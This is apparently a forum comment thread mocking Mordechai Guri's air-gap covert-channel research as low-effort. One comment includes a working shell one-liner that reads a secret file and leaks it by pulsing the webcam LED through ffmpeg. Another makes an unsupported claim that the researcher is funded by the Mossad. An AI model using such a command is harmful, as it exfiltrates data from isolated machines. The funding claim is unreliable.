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Reminder: the CovertChannels stuff from Mordechai Guri is a paper mill with misleading titles. Stop giving them publicity. They aren't "Generating Covert Wi-Fi signals", they're encoding 10bps of data in 2.4GHz noise from a 2.4GHz RAM bus. That's not Wi-Fi.
Literally the guy's entire schtick is picking a random noise/EMI output from a computer (he's done fan noise, HDD LEDs, temperature, etc), figuring out how to write software to encode data in the noise the least-effort amount of way, then pumping out a paper.
Anyone can come up with this stuff and implement it. Seriously. Like half of the papers only take a few lines of code to implement on both the transmitting and receiving sides (you need malware on both sides).
I was going to give you some ideas, but he's already done most of them (I looked around, thought "screen brightness" - yup, he did it last year). Uhh, let's see... camera LED! He's done keyboard LEDs, HDD LEDs, router LEDs, but not camera LEDs! Hey Morderai, free paper!
Here's your leaking code: xxd -c 1 -p secret.txt | while read a; do for b in ${a:0:1} ${a:1:1}; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null ; done; done 4 bits per pulse PWM encoding. Tested on my iMac. There's half of your paper! You're welcome!
The dude is mostly financed by the #Mossad
I'm surprised that Ben Gurion University haven't jumped all over it...
Ah. Aw.
"Woo they managed to generate wifi signals with a ram bus !!" ... read the article... hum, very disappointing...
Any* wire can be a transmitter. I heard somewhere. Guess they where right. My laptop leaks data.
Even if not "Wi-Fi", this still can be used to leak data out of an air-gap separated machine. These are still used for working with classified documents and so.
If you had owned a secure data dioded and gapped machine that hard, you could modulate a signal out by toggling the mouse working/not working and listening to the operator slamming the “flaky” device against the desk.
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